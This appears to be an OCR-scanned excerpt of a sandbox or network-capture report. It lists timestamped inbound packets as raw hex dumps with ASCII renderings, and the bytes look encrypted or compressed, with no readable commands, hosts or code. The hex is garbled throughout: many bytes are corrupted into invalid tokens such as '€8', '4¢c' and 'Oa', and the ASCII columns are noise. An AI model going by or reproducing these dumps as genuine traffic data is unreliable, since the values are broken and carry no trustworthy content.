Data Ascii: b]!p,v?H_XEu)5p[W"+x2R{.KdE;V=R<hEd<leWwmPVvZ.4[v4u}b]2}is8oM $IS}KA8x\kf-Jmw5-{5y)ZR_XarZZ'Jq

2022-01-14 03:59:52 UTC 5006 IN Data Raw: 27 be 58 a2 79 60 5f 31 79 b6 4f 50 f5 6a 54 77 2c 76 62 34 8e 51 0d fb 54 42 48 bc 12 6a 24 5b d5 d6 €8 89
65 aa 3a be 71 01 6b 28 f8 aa cc 2d 0f d1 ab 55 13 0a 43 7e €9 7b 22 6b 8c cb 80 12 47 b4 da 7f 06 a8 31 Oa e5 5e d3 dc
d3 d1 cf f9 5b 84 50 9b 7f 2c 3b 90 5f 82 1a 9c €6 25 95 a5 a9 20 58 26 46 db 5f e7 bb 9c eb 14 64 dc Ob 94 1f 44 db 10 86
3f 6f 91 2f a7 bf 30 74 cc a5 fb 48 a6 fe 64 d4 51 €9 94 67 a2 Oc 58 a8 98 64 be 7b 48 ee b0 02 03 1f 0 24 42 d5 58 e7
06 ec 66 a0 8e 09 23 a4 11 6b c6 08 3d 47 54 ee 02 1a 23 bf 4¢c c3 a8 08 9b 37 fe 60 79 Of Oa 6d b5 d4 eb d2 e7 65 08 9e
Ob 00 c4 88 e7 7d 64 15 b0 f9 a3 e5 42 49 93 eb f0 8b 1a b4 91 75 05 bc 78 2b ea 60 31 9b a8 e7 f4 ac 9¢ 8d 3d 51 5b 2d
f9 40 Oe ca b9 c6 el 17 e3 6¢ 39 4e 1f 9f 3c 3a Oc 7c
Data Ascii: 'Xy _1yOPjTw,vb4QTBH;]$[e:qk(-UC~{"kG1/[P,;_% X&F_dD?0/0tHdQgXd{H$BXf#k=GT#L7 yme}dBlux+ 1=Q[-
@I9N<|

2022-01-14 03:59:52 UTC 5022 IN Data Raw: c1 20 06 a0 Oa 72 71 cb 36 83 e2 2c 2c 17 b3 f0 2c 4a d6 88 5a da af 28 de Oc 5d 66 52 d6 05 fe ba 1a 48 c2 cc
6a ef eb bf 74 34 fe a5 9a 5e a8 ¢3 49 43 a6 04 77 9e €9 0d 61 51 fb fc 95 72 9a ff a0 1c d1 6b 21 b4 b0 fb 09 91 e8 c6 82
7c 825d b7 47 2b e8 3c 01 5f 73 15 f8 24 66 d2 1e 73 46 31 38 el d8 d2 4b db 8a 9e 35 54 a2 78 5a e3 dc 20 e4 3e 84 c4
c5 68 f9 08 6a 23 72 13 d2 27 b0 el b3 26 9f e4 7a be Oc 6d 86 a3 9e f7 c3 48 75 9e 1f ef dd 85 12 57 aa 8c 1a b9 7c 66
d3 6¢ 2e 9a d2 91 4a 82 9f 45 ca 6d 08 80 c0 8f b5 3f el 79 e0 d9 03 ee 3e f1 62 47 45 89 53 81 20 73 d5 94 3f 05 4f 6a dc
32 9a b6 05 66 2b ea a6 88 b4 2e 38 31 71 46 84 10 72 50 5¢ 35 e0 30 30 09 89 8a 40 22 20 de 58 e3 1a 7f 1f 1c 54 84 30
cf 26 f8 90 d9 1f 87 40 ef al a6 f5 1d 12 e6 07
Data Ascii: rg6,, JZ(JfRHjt4"CwaQrk!|]G+<_s$fsF18K5TxZ >hj#r'&zmHuW|fl.JEm?y>bGES s?0j2f+.81qFrP\500@"
XT0&@

2022-01-14 03:59:52 UTC 5038 IN Data Raw: 1d 8f b3 e6 f1 07 ed 93 2f 18 93 2e c0 ed 4c 3e e3 el 6d af c0 c3 ff 48 58 55 52 e4 70 f9 bf 58 28 56 56 04 95
6a fb 57 96 73 bc 32 d7 a3 58 f4 b3 9c bb 8d 5e 09 71 17 12 ce aa 2c ba fd 3e a9 87 8a 52 4d 54 96 ed 2a 90 ab ec ff 79
1d 21 f9 7d 3b 34 28 a8 35 b1 d9 a4 da 3c f9 6e 4a 1e 6¢ fb 34 bc 74 0d 9f 57 1c b6 73 74 1f 3a c8 5e e6 b3 aa 3d 48 c4
12 59 98 6e 87 66 26 39 ea f2 8b 8a d9 72 fd 30 c1 ff 8b ed fd c5 10 4b ed f0 58 98 c9 5d 4c 64 29 04 5d 82 f3 ff 80 dO f4
b6 36 98 b0 c1 df 6e fe 48 44 e2 06 c4 d0 ba c5 6f 8a ca fd cc 11 e3 f3 63 1f 12 a2 a5 d1 ec 64 e9 bb 59 df a4 41 {3 38 63
f1 5e 56 9d 9f c3 32 5f a8 74 5e b0 e7 16 02 02 02 a8 a6 71 bb 8a 2f 57 2e dc a3 e5 06 d3 a6 2e 57 31 6b d8 77 45 91 3e
55 96 96 a8 86 e7 63 40 2f ec 3a 6f f1 7a e2 8a
Data Ascii: /.L>mHXURpX(VVjWs2X"q,>RMT*y!};4(5<nJl4tWst:"=HY nf&9r0KX]Ld)]6nHDocdYA8c"V2_t q/W..W1kwE
>Uc@/:0z

2022-01-14 03:59:52 UTC 5054 IN Data Raw: 9c 86 e2 6a b3 ba e6 3d 72 3d 63 62 ff 6¢ f5 57 86 59 a4 d0 6¢ 9b ad €9 52 3a 0b 0d 59 cc bd d6 45 27 2b 4b
dd 5f ce 5a 45 ea 97 03 ¢7 5b 89 e3 de ca 62 db 96 b3 8c 3a f6 08 36 a4 11 5b 84 46 11 99 9d ee 4a 2e e6 d9 79 36 96 c6
8b b3 da 2a 02 66 6f 9e 6e a4 7 f4 00 d7 5¢ ed e3 04 94 52 46 02 e9 b0 6f 2e 49 92 8e 6b b2 b9 42 9a 2d b8 96 65 5a 51
5f 0d 8¢ 94 05 d6 27 77 30 43 4d f3 51 f4 ¢5 €9 39 11 90 5e 72 cd e5 f5 49 95 9a c5 18 d7 93 ab a0 ce cf d0 71 d5 12 82
5a b3 52 de 43 62 bf 78 8e cb 74 b1 3c 08 f4 34 2a 6¢ 94 45 d9 6d d8 95 51 cc Ob fc €9 78 62 01 4¢ 9d cf 1c 7c e3 dd 74
cc 6b 76 37 4d 4c 1c 3b 90 8f 84 el d2 ab 8f 81 fa 19 52 8f 2f 1a d8 36 cb af fa cd 96 20 99 3f fc f1 fa 1c e8 al 51 b5 4e bc
3f 36 9b 91 4d 1a b0 3d 96 b2 9a 26 fa a5 19 8d a7
Data Ascii: j=r=cbIWYIR:YE'+K_ZE[b:6[FJ.y6*fon\RFo.lkB-eZQ_'wOCMQ9"rIqZRChbxt<4*EmQxbL |tkv7ML;R/6 2QN?6M=&

2022-01-14 03:59:52 UTC 5070 IN Data Raw: 0a f9 15 ac f0 8c fb 16 a0 Oa fc 4c 5b 8e 12 53 e0 d7 48 b6 68 85 15 67 de 7b 52 79 18 e9 cd ca 4e dc 85 a7 2¢
6¢c 01 af 15 Oa 43 8c a6 38 23 b0 53 80 1f 8e 2a 55 40 de cf 37 ba 60 53 b6 26 2b c3 ef 9e 86 86 d8 70 4b 70 72 ac ec 30
99 08 36 c9 fc 5d a2 20 76 40 da d9 b2 9d 61 6 65 39 4a 22 d4 f0 fO 67 89 24 db 2a 39 da 21 e4 fb 5e 60 74 d1 06 6c fd
7a 25 f9 48 7c 90 50 64 6b e5 0a 70 0d 87 79 73 68 43 b8 Oe c2 2f 1e 66 d4 7b db 00 1b 50 79 33 6f 35 74 d1 c5 d7 24 86
03 11 04 8d aa b7 dc fa 4e cb 71 a6 b5 d1 f0 34 57 b5 18 73 ad e4 38 96 8b 11 93 5e d0 f2 d5 6a 2c d3 98 ce 18 86 e3 ac
8f f1 eb af 20 6b 04 aa be 37 7b 03 de b9 13 44 ad b0 68 01 6d 8d bf 68 d5 6a 06 2e e8 77 06 52 75 17 88 cd 53 4b 18 8b
99 b1 43 27 63 a7 f8 56 6¢ 85 75 be f4 e4 Oe ca 55 cl
Data Ascii: L[ISHhg{RyN,IC8#S*U@7 S&+pKpr06] v@ae9J"g$*9!"'tIz%H|PdkpyshC/f{Py305t$Ng4Ws8%j, k7{Dhmhj
.WRuSKC'cVIuU

2022-01-14 03:59:52 UTC 5086 IN Data Raw: 25 cf 22 01 35 f7 6f 8e fe 92 4f {7 6e b4 fe 62 da 89 f3 b0 79 0d 27 d4 49 a6 e3 45 6b 20 €9 1e fc 7e d3 ff a0 a3
5a c7 d7 b5 2d 32 d9 b0 7f 37 ae b4 51 6a 19 1a aa 30 59 cb e8 fd 9a 9e 00 8a f1 63 08 84 a9 f1 53 d1 a7 77 4f 80 7e ae
8a 1387 clala2alal 624087 d9 31 00 1b ba b7 3a 16 bd 0a Oa 16 5d 97 16 3e 8f 07 bf ed 3d bf 4f 4a 04 a4 84 bf 42
b2 87 d9 91 19 99 4e 4f d3 e5 a5 e5 4e 36 b1l 50 04 82 Oe 08 99 35 12 ca 8b 3e 16 f3 82 7e 62 8e 08 61 48 df 61 99 c7 15
06 0f 82 8e 82 d0 92 9f 3 3d 99 4f b3 ff 64 8a ab 62 ch 97 5d a3 97 38 03 8b a7 95 23 3f c2 26 3c 57 36 3a 9c 0d €0 9c 87
52 ed 80 19 b9 €9 1b 63 ed 41 90 fO db 75 67 bc 28 d2 f1 fO a5 7c aa bc b2 88 88 59 75 11 8d 21 65 2f 24 dO f7 d6 01 d8
da e9 2b 5a bd 02 47 48 e4 98 ca 35 58 8 2a 27
Data Ascii: %"500nby'IEk ~Z-27Qj0YcSwO~b@1:]>=0JBNON6P5>~baHa=0db]8#?&<W6:RcAug(|Yu!e/$+ZGH5X*

2022-01-14 03:59:52 UTC 5102 IN Data Raw: 69 5 ce 0d Oa e3 b7 5¢ cf b5 ¢7 f6 3¢ 06 a0 7c ec 69 1a Oa 9f e0 7c a3 ¢7 71 9f 59 dd 33 35 8 6f 8b 12 1a c3
3add 15 dd f8 2d 3f 79 6a 22 ad 13 6d 00 9e 3b el 62 e5 85 49 24 35 3f 40 f6 a8 7 1c 93 ca 71 48 8¢ 9c dd 53 11 a3 04
81 be 5a 37 2d 89 c8 50 7d 5a 2f 65 8d f9 a7 cb a0 7b 47 1b 94 b1 59 39 da 11 f4 c1 cc e6 60 d2 e4 al 4b 5f 58 69 a8 01
9b 95 56 8a 05 bc 97 83 16 28 €5 21 62 27 38 ce 9b 7e 7b c2 9a 1d 16 71 6b 76 b8 66 38 87 2a 3¢ 00 72 66 €9 1d 56 83
2119 af 0f a2 d0 c9 Oa 62 dd e6 51 a3 ca 40 aa 8b 67 b9 a2 3e 3c cc 3e 2e fe 39 11 13 99 76 91 90 4b b8 d6 13 36 a7 Ob
d0 a7 48 c9 9b 8a c9 6¢ 50 el 20 2f 1e Oa 3f 3a 86 €3 a8 2e 86 a4 69 b1l 7e cb 31 a6 c0 f5 bb 63 Oe 11 36 4e 02 31 6d 97
213701 12 81 ff 2c 1e d7 78 97 39 74 c4 45 d8 d8 b9 ac
Data Ascii: i\<|i|qY350:-?yj"m;bI$5?@qHS Z7-P}Z/e{G Y9 K_XiV(!b'8~{qkvf8*<rfVIbQ@g><>.9vK6HIP /?:.i~1c6N1m!7 x9tE
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:52 UTC 5118 IN Data Raw: 8d 3b 5a 3f 43 aa 9e 23 d4 c8 a3 0d 44 2b f9 75 d4 55 a5 15 el 13 4d c6 3f 8e f5 5¢ f7 83 7b a3 eb ea 12 b8 d8
d5 12 a9 43 68 d6 bd 85 a9 7d 7e e6 21 c¢3 32 1b f8 d9 30 fe 4e c4 e2 f1 2f al e1 99 b0 50 00 1c 7f 17 a6 16 le d2 b7 17
e3 aaec 13 64 c4 22 7 30 89 b8 7b 36 d6 b0 2a 2f €8 1c a4 25 e8 43 2e 2f ba 18 c9 1b 84 7e 96 4a 41 61 6e 19 17 b0 e7
cd 28 ab 4e 74 af 7a ae 55 37 03 76 c1 90 6b 8a 3f 77 d0 al 2c d4 18 af 8c 3b 3d c7 b5 f4 bd 54 bb 01 9a 89 €3 1d 80 17
5¢ 73 9d 4a 43 bc 34 6f 3a b5 ca 5d 14 f5 40 97 d0 e7 9f f7 94 0a 82 35 fa 8b df 47 82 82 94 54 cf 4e al 44 e6 2d Ob b7 9f
d3 98 d2 1c 64 9e 2c e6 7d eb fd e9 ca eb a3 04 a4 61 36 8d 50 65 12 b4 13 0f 8c 88 dc f5 87 82 c3 ac db 47 33 fe f6 Ob
59 01 df 94 8¢ 33 c¢7 50 65 4c bb 43 62 Oe 2f c4 ef
Data Ascii: ;Z?C#D+uUM?\{Ch}~120N/Pd"0{6*/%C./~JAan(NtzU7vk?w,;=T\sJC40:]@5G TND-d,}a6PeG3Y3PeLCb/

2022-01-14 03:59:52 UTC 5134 IN Data Raw: 01 f5 c4 2f a9 Ob 7d 62 13 c¢7 9b ae 22 f1 c4 aa fe ¢7 39 cb 3d 81 f2 54 60 a5 5a 85 cd 6¢ 20 7c 51 Oc 08 95 02
1d fd 63 f5 el 1f bf e7 d9 56 42 49 8b 64 d8 5b c2 52 43 dc 58 95 el 12 7d 88 9c d1 37 9f 8b 66 bf c7 5c 65 5d 8e 78 47 bf
31.d9 55 46 b8 13 80 24 71 c¢8 95 €9 4b 5¢ 39 7b 18 3b 32 82 cd 90 a7 71 bc 22 de 86 1d 0d 78 74 ba 4e 8b 1b a2 36 82
58 d2 60 Oc 86 7b 4e f5 73 d4 a9 99 28 9d 42 3a 35 a0 45 b5 Oe 50 ac 46 8e 37 70 94 af f9 0d ba 70 5d 39 08 a3 a0 2d 71
ff 2c a7 23 04 56 80 ee 7d 90 c1 ab b6 1c c9 6a 64 b1l 14 91 d4 fe 17 f9 e3 b2 c5 10 50 bc 2e 47 40 21 {7 19 3d ed fe d8 59
ae f0 ab e8 ab c9 ec ae el 29 f8 4a 9a 18 87 b7 9b f1 d5 36 65 4b 4e e3 41 f6 5d 79 51 bc 6e 9e al ce f8 d8 Ob 77 4b a3
bc 3e 18 71 be 34 63 5a eb db 74 43 6b 78 21 dc 97
Data Ascii: /}b"9=T ZI |QcVBId[RCX}7f\e]xGLUF$qK\9{;2q"xtN6X {Ns(B:5EPF7pp]9-q,#V}jdP.G@!=Y)J6eKNA]y
QnwK>g4cZtCkx!

2022-01-14 03:59:52 UTC 5150 IN Data Raw: 48 Ob b6 ed c0 b9 a3 df fa 38 a3 fc ec 4e a7 8d 8d b4 ac b2 b7 be 60 9d a6 64 0a f3 Oc 47 dd 5 d5 d2 ea 52 ad
16 d9 c4 65 €2 77 25 a2 65 e7 €5 46 bf 6¢ 94 e2 4b ¢8 04 ed cd a4 36 73 81 7f d7 ec b4 5d 04 2d 81 50 a0 b9 af d9 30 66
76 49 37 2e 5e 00 91 57 67 29 48 bb d8 c6 c1 c2 6¢ Oe 82 6a 92 8b 74 5e 2d a5 c6 56 b9 f9 1e b5 dO f1 12 97 3¢ 2b 2a 06
c561 12 50 f9 e6 24 3c d2 ec 52 3 bb 45 66 5b 1e el ca 7f a5 df b3 9e 53 5e 8a d3 25 3b ba 0a a0 10 ee ef ad c3 e7 43 6f
90 ca a8 23 4c b1 9f be 21 68 b3 84 32 17 8c 74 6e 82 c9 c9 75 ee 98 28 03 a4 71 01 01 6b bd Oc 65 8f 82 Oc 3a 32 b3 33
96 39 1f 07 42 28 ed 00 19 cc 52 44 47 fa e7 ca 68 ab Oc Oe 2c 68 55 d5 c9 b8 75 c0 c3 ef 58 7e 3c ¢4 17 eb 8e 01 e4 03
97 fb 10 aa cc 7d a0 60 8e de 34 e2 e0 2f be Of fb
Data Ascii: HBN dGRew%eFIK6s]-P0OfvI7.AWg)HIjt*-V<+*aP$<REf[S"\%);Co#L!h2tnu(gke:239B(RDGh,hUuX~<} 4/

2022-01-14 03:59:52 UTC 5166 IN Data Raw: 2f 63 Oe c0 2d 6d 23 60 1f 42 12 a0 70 22 3e 6a 6e e5 d5 €9 40 97 d8 47 07 05 80 69 d4 94 46 1a 34 88 9e 24
86 ee e8 7a 06 06 37 8e 34 da 15 98 57 f8 54 dc 8a al da b9 c7 f2 29 b1 9d 1f 1b Oe dd 5a 69 f2 d1 Oc 95 f0 4c 41 39 ce fO
a9 ba ed f9 ed db 24 c1 dO b0 21 2b 8c 80 bb a0 21 b6 19 e7 4d 2a 2f 84 be f9 f3 54 b4 f6 b7 11 82 26 40 c8 70 fc 78 c2 27
96 dd 2f 84 39 9d 27 ad 45 f9 d9 44 95 c6 le eb 39 69 ec 1a 4c 54 7c 2f b9 3c 8 99 2c f5 b1 35 78 f9 2f e4 df 1d Of ab 1e
22 95 9a 9d 43 f4 4d d3 5b b9 6 f8 f9 6b 8a f9 04 39 45 4a f1 5a 3b c3 96 16 d9 fd bd al e8 8b 98 cO ad 60 be 54 94 e7 {7
4 da cc 4c a5 f3 40 da 95 32 2b 83 9f 24 68 cf 0d 53 62 6e 55 a6 6b bd b8 38 23 a3 6e 82 c8 f7 2d 3c e7 8¢ ac ae a8 e5
46 bb 23 a3 ab 9¢ b3 74 37 51 00 45 f6 95 d1
Data Ascii: /c-m# Bp">n@GiF4$z74WT)ZILA9$!+!IM*/T&@px'/9'EDIILT|/<,5x/"CM[KOEJIZ; TL@2+$hSbnUk8#n-<F#t7QE

2022-01-14 03:59:52 UTC 5182 IN Data Raw: 19 cd a6 cd 24 4f Oe 25 23 bd 09 7 fa e7 20 64 93 03 1c cf dd a5 6¢ 19 54 33 8a 18 56 90 90 68 40 87 c9 84 87
cc ba 8faa 77 b3 31 1c d4 7b 1e af 5b 5b €6 9a 3c 32 8d fe 61 e0 a9 a9 00 48 32 ec 39 90 5b 9e 2a 8a 93 9d 83 42 52 de
50 f3 2b 09 1f ef 1a f6 ¢5 d5 35 f6 dc 7a 62 ab 01 22 95 66 cf de fb c1 a2 d9 b8 f1 2e c0 be 30 82 6a 1a 98 11 fa dd 9c d1
70 2f 06 Oa 1d 40 1e 88 3f 07 7d e5 €9 97 5e aa 93 de 43 06 8d 47 73 19 36 84 1c ad ba b9 99 20 95 33 73 af 66 8f ee 53
84 a8 77 43 05 e2 4b 15 11 ec c1 fb b0 25 ce 2e 3f 01 aa c0 d4 42 cd 9b 1c cd 42 39 8b bb 50 5f a5 c7 9a 2e b3 44 db 6f
b5 d6 f8 df 47 75 71 5a 43 d7 06 fe d6 39 b4 22 78 69 82 37 60 08 bf 32 b3 10 ce 8f fe 18 1a 6b 72 6a 27 93 a4 9c fc 63 2d
bf Ob 63 7a a6 f5 f3 2¢ 69 14 3f 5¢c d9 cd 6d e
Data Ascii: $0%# dIT3Vh@w1{[[<2aH29[*BRP+5zb"f.0jp/@7?}*CGs6 3sfSWCK%.?BBIP_.DoGuqZC9"xi7 2krj'c-cz,i?\m

2022-01-14 03:59:52 UTC 5198 IN Data Raw: 19 80 41 93 fe ef 01 76 4d Oc 0f 07 da 3c b9 8d 40 b2 22 79 3b 43 7b 1f 59 2d cc 4a 7c a7 bc 5b 98 62 6b 21
8c cd a0 89 ad e5 33 ab 97 90 5d 35 b5 3f 2b a9 46 f2 60 46 37 45 b4 45 d6 7e d2 6e c3 bf 58 68 20 f1 04 01 fe 14 fb 4c le
07 c9 fc 57 fO df 38 ed ef 2a c9 7c 47 70 86 ab 35 b8 25 51 05 74 4b e8 9f f6 el 69 c8 68 cc da aa c0 13 c¢7 ac 01 9b 23 9a
9b 38 37 4a e2 08 77 00 96 31 52 8d 40 e5 53 44 d1 5c 8e 27 15 b6 fd 1f ec 2d 8d 5e e6 95 7a e8 af a0 fd 26 a4 b3 f0 ed
88 47 be 8e a0 5e 16 d2 37 ba 56 10 44 8c 5f 4f 23 15 e0 a6 bb 6a b2 d6 2f dc 44 59 05 aa 98 43 83 de 92 1c c2 c9 e0 8¢
fb be f1 10 e8 e7 9e 53 9d 45 7c 15 47 bb 18 d4 e2 3d d7 f3 8f 37 d0 60 27 de c1 57 b2 b6 9b 86 b2 6¢ ac 6d fa 2a 62 65
3c e549 2c 48 47 ed 9c 41 c7 68 68 26 f1 6d 6d a6
Data Ascii: AvM<@"y;C{Y-J|[bk!3]5?+F F7EE~nXh LW8*|Gp5%QtKih#87Jw1R@SD\-"z&G"7VD_O#/DYCSE|G=7"WIm
*be<l,HGAhh&mm

2022-01-14 03:59:52 UTC 5214 IN Data Raw: 64 41 f5 ff b3 01 bd f8 7e 9f 68 2e 78 b9 fa 54 d8 7c ca cf 72 aa 86 80 32 03 b1 4d 67 02 f5 da cb f9 c¢3 2d 69 75
13 d1 d4 34 8e 8a f2 27 37 79 8a e0 c1 e2 c4 7d 33 7d 78 d2 5a 33 b4 de f4 94 e0 e7 5 83 22 26 48 20 04 9d 9c a2 70 63
39 3399 39 Oc c3 a3 ba 27 7f 04 8d d7 07 8d 3f 7b 83 1f 8¢ 2d f5 f4 36 54 19 b3 95 ed 22 08 7a 67 9d 62 5e a0 20 b4 cd
7d 18 e6 ¢7 12 76 3f f6 2d 57 68 b2 d4 7f d0 01 06 cO a4 86 3b 59 08 9f 32 f1 3b b2 4f 6a 8b {7 71 42 9a bd b0 86 cb al 3c
f2 de bc 85 72 06 35 94 2e b4 81 43 da 31 21 d1 d6 6e 00 a2 58 68 c4 be bc 44 6d 38 1d 86 d5 61 65 3d 28 b8 73 d7 76
36 03 36 ba aa be 91 18 15 f6 7a 9c¢ f5 53 47 18 d1 a3 41 cc 2c 8f d1 76 51 44 ec 66 2e 38 fe f7 bc 71 b6 Oc 46 7d 5¢ 5 dO
12 8b 52 5c 18 cb 1b 44 fe 07 86 58 d1 6¢ 45 6e
Data Ascii: dA~h.xT|r2Mg-iu4'7y}3}xZ3"&H pc939'?{-6T"zgh” }v?-Wh;Y2;0jgB<r5.C1iInXhDm8ae=(sv66zSGA,vQ
Df.8qFN\R\DXIEn

2022-01-14 03:59:52 UTC 5230 IN Data Raw: a8 48 7d 32 b8 3c fd ec 88 36 66 31 eb 08 7d 07 8d 7c aa 3b 70 Oa 11 3c 37 f3 a0 c6 c9 le df al 5b 30 26 2c
76 b0 28 7b 78 3a 4f f1 fb 85 65 ed Oe 09 1d c2 01 dd Ob a7 33 27 5c ee e6 bd 98 40 5a 5b 4a 6a 8a 55 b4 7f 04 7b 44 d9
0d 80 57 b4 3 7a dd 50 fe b5 fd 4b 10 92 d4 05 7a 03 ad 09 7b 99 c0 d9 b8 99 64 b3 88 cb 1e 02 19 d2 f4 10 88 40 93 b9
fb ab el 50 4f bd 83 cb d8 68 43 31 3b f6 65 00 78 73 47 ae 7c 24 aa fe 7a 31 b5 bf 3b 73 95 ae 85 21 1c 56 4d fb 9b 26 1f
01 78 bc 41 e2 be e3 a5 61 b2 d8 {7 d1 ab 23 bc af 9a 9e 91 c1 91 ¢8 8f 22 c6 51 6e 17 9c de 04 e8 75 92 01 f4 9f 71 e3
69 9b 43 3e eb fa 8f b0 26 58 96 ac f6 7c 91 aa 88 31 5e 8d cb 64 65 b0 b5 ce b4 b2 ae 99 f1 93 ¢7 06 62 97 c7 71 c7 fc
53 0d 2f 9b d8 24 81 9a 21 8d 5d 8b 4d 58 ad 41 ea cc
Data Ascii: H}2<6f1}|;p<7[0&,v({x:0e3\@Z[JjU{DWzPKz{d@POhC1;exsG|$z1;s!VM&xAa#"QnuqiC>&X|1*debqS/$!|MXA

2022-01-14 03:59:52 UTC 5246 IN Data Raw: 60 69 7a d8 cd 0d bb 8a 6b 35 a8 70 86 7f b9 af d9 20 de 6 Ob 55 be dd 60 c4 45 5f 05 10 fb d3 30 b6 3e 79 9a
63 3e le d2 3b d3 7 8e ae d9 d5 05 39 d4 4c 13 89 16 84 bc 8e 86 d6 26 dd 43 70 Ob d8 bd 13 11 5e ef 56 1c 47 bc d7 dd
8a el Ob de 8b 2d d6 35 c0 ad 8e d5 6d 67 1d 49 24 a7 6b 42 71 32 fd bd 57 Oc 03 42 50 df 60 45 65 72 ff 7b c7 35 ec 16
59 a8 23 f7 42 da 54 62 af 58 d2 50 98 92 8¢ a9 72 86 e4 fa 7b 16 81 33 d4 2c 43 ef 4b c4 bd 70 3e 07 0d 76 dd 41 03 4f
ab 69 c0 ed a9 47 9c 11 05 a4 f2 f3 86 1c de 7a d3 50 7b f7 41 94 dc 60 66 b2 04 fa 3f e4 b0 9f 90 07 92 Oc 1c 22 e3 c4 4
98 81 ch 61 6a e6 4c ab 8c 69 b0 a9 a2 02 d9 30 99 5d a9 85 6e fa be fc 2f a9 a9 6e a8 44 fd b2 02 b9 11 36 0b 4f 37 f3 2¢
4e ca f6 18 5b 45 32 9a dd e9 bb 2d d8 53 f6 ce
Data Ascii: ‘izk5p U E_0>yc>;9L&Cp VG-5mgl$kBq2WBP Eer{5Y#BTbXPr{3,CKp>vAOiIGzP{Af?"ajLi0]n/nD60O7,N[E2-S

2022-01-14 03:59:52 UTC 5262 IN Data Raw: 23 05 6f d2 41 c6 04 f7 36 c9 4a 2d 0d 05 38 ac c5 ed fa 49 85 9d 35 ¢3 51 91 20 78 5d 08 62 a0 bl cb f1 1a dO
06 b7 74 9b 63 cb 39 ab c7 f2 de fa 17 c0 77 df ca 24 ¢7 12 e0 01 5e c8 66 e3 ea ea 75 cd 4a 38 b0 87 1f b9 e7 98 b4 d6
da bd fa ab e5 f3 ¢9 3e 36 Oc 82 a0 66 70 de 10 90 6f ad 80 6e 06 10 ed 6f 33 b0 16 cd Oe 05 93 c9 98 9f 67 8e 34 bd 2b 1
ec 39 5a 7e 77 10 62 b6 9d Of 79 43 9c 17 98 c4 76 7a 47 e5 bd ca 1f 37 71 7e 7 93 be 74 cb 4d d2 6¢ bb ca a7 8e b8 b5
8d 93 fd 4e 95 ae la c2 ba d9 e7 Oc 31 3e 8f 64 89 89 5f 7c 8e 60 44 65 db 3a 69 10 61 18 e4 ae f6 3e 6e cf 24 5e 25 17
c5d5 a9 a2 ae d5 b2 00 93 f8 3a 9f 10 63 5e 3 2b 78 1f 1d ed 82 05 f2 47 9c ed 7b 3f 09 05 ad cc c2 5a da 02 ed ff 6b dO
83 ca 86 b0 a7 ee c5 6¢ 55 55 ¢7 35 3d 5b be 92
Data Ascii: #0A6J-815Q x]btcOw$"fuJ8>6fpono3g4+9Z~whyCvzG7q~tMIN1>d_| De:ia>n$"%:c +xG{?ZklUU5=[
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:52 UTC 5278 IN Data Raw: 9e 5c 69 97 4a a9 3c 43 43 95 bd f3 6f b7 2f 1f 74 2e 9d c8 4a 25 84 9e df b6 bf 08 80 bc 6f 68 a9 b9 72 6e 22
d0 8f a9 84 f1 20 3d 40 e4 b6 54 f2 el 1f 91 30 df e4 d1 e3 90 88 c9 bc 37 ea 3f 8b 68 ca 95 af 19 fc 5¢ 5e 54 99 45 36 8¢
6a 54 62 27 d6 92 2d 7c 1e 1a 4b 74 bl fa eb f4 23 1d 06 3f ee 37 46 6b f4 86 77 b7 cb ad cf fe 44 5¢c 90 14 8f 0d 23 43 57
60 8a 40 7f 4¢c 6b 97 d3 48 32 0a b9 8 6e 89 e2 73 {7 ee €8 a9 3d 8a 4b da 7 4f 99 48 53 0a e3 6d d5 c2 f7 ce 38 80 5b df
aa a4 89 68 9d 06 2c 33 9d 23 50 7e fa 57 54 da ab bd 37 44 ec ba 86 b0 d4 27 07 b4 ae 4f eb b2 31 53 51 66 5¢ 39 30 26
82 4d 7c b8 ea 1f 14 d3 32 2e f8 fc 52 al 44 6d c9 14 ab 4d 10 28 b7 b2 21 b5 3c f8 €9 2a 1c 7c e4 a4 cc 8d 0d 00 85 2b
66 87 a0 14 42 a2 4d 4a 78 07 e6 9a ee 42 3e
Data Ascii: \iJ<CColt.J%ohrn" =@T07?h\"TEGjTh"-|Kt#?7FkwDWCW' @LkH2ns=KOHSm8[h,3#P~WT7D'01SQA90&M|2
RDMM(I<*|+fBMJIxB>

2022-01-14 03:59:52 UTC 5294 IN Data Raw: Oc da e4 ba 6f 34 82 61 a5 58 fd 9b bf 6a 26 ec ff 5a f2 18 61 8c a7 5f 49 bd 70 95 ce 91 9d 85 df ea 56 d3 00
4e 3¢ 59 33 bb 15 3b f4 91 53 d3 el 90 8a ba 50 f0 b7 4e dO ff 8c 5b 4d 38 63 53 a9 Oe 6¢ 5a cc 4f c5 bb 0b 39 4d 17 4c
38 ba 61 bd 48 bf 72 d2 5d 68 b1 09 3c 5a 71 3c 4e 9a 4d 5e el 86 cf 12 5b 03 a6 41 el Oe de 9c 2f 7e 89 3c 58 be 67 85
9c 2d 48 1f 31 98 0d 00 df 83 6¢c e6 1f 6¢ c9 ee 88 f3 b9 d7 a0 40 62 b2 79 b5 5¢ 51 bf cc 75 56 2d aa fa 5d ce 2¢c d7 b6 b4
54 31 85 3b 96 €7 33 93 d3 df 69 fe 30 5e f6 d8 98 31 79 78 f6 fe 30 40 9e 05 c3 a6 fc fd 2a 2¢ 35 80 a2 53 19 b5 39 34 9¢
98 fb 23 58 5e ae f3 ¢9 11 96 da bd 2f b2 17 ce 46 ac a8 54 bc 11 38 cb a8 59 6e 97 85 d3 e2 9d 3b d0 d0 24 3f 5d 18 d7
9c 3e 41 15 dc 82 b7 31 b4 47 d1 f9 3e a7 a0 al
Data Ascii: 04aXj&Za_IpVN<Y3;SPN[M8cSIZO9ML8aHrh<Zg<NM?[A/~<Xg-H1ll@by\QuV-],T1;3i0"1yx0@%*,5S94#X"/
FT8Yn;$?]>A1G>

2022-01-14 03:59:52 UTC 5310 IN Data Raw: 8b 2d 07 af ad ca 6a 56 €8 de 24 62 78 75 3e 76 fa 77 8e 29 58 0d 78 1c 94 8d 1f 02 4f e2 d2 c4 16 20 4e 9f 89
44 85 f2 3b 23 6 3¢ 29 a5 db b4 e7 95 91 dc 66 50 47 c2 be d7 Of aa 4c 1f 97 cb 71 bf 21 b1 00 5 44 a6 b8 e5 65 a7 23 ec
e2 26 8f c0 e6 cb 08 9f c8 a6 5d 3f 25 ce 05 47 57 2b 2f 24 6e 9a 8f 14 2d df 1d 72 d8 71 95 94 44 e4 c5 db 85 07 b8 1f 53
